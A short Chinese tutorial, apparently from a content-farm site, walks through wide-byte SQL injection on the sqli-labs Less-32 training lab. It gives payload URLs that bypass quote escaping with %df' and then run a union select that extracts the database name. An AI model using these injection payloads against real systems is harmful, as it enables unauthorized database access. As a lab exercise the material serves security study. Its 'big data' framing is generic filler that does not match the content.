大数据中如何解析宽字节注入

本篇文章给大家分享的是有关大数据中如何解析宽字节注入，小编觉得挺实用的，因此分享给大家学习，希望大家阅读完这篇文章后可以有所收获，话不多说，跟着小编一起来看看吧。

环境sqli-labs

less 32

一、输入特殊字符，都被转义了

http://192.168.1.121/sqli/Less-32/?id=1\

http://192.168.1.121/sqli/Less-32/?id=1'

http://192.168.1.121/sqli/Less-32/?id=1''

二、构造宽字节闭合

http://192.168.1.121/sqli/Less-32/?id=1%df' --+

理论上%81-%FE均可

三、联合查询数据库

http://192.168.1.121/sqli/Less-32/?id=-1%df' union select 1,database(),3 --+

以上就是大数据中如何解析宽字节注入，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。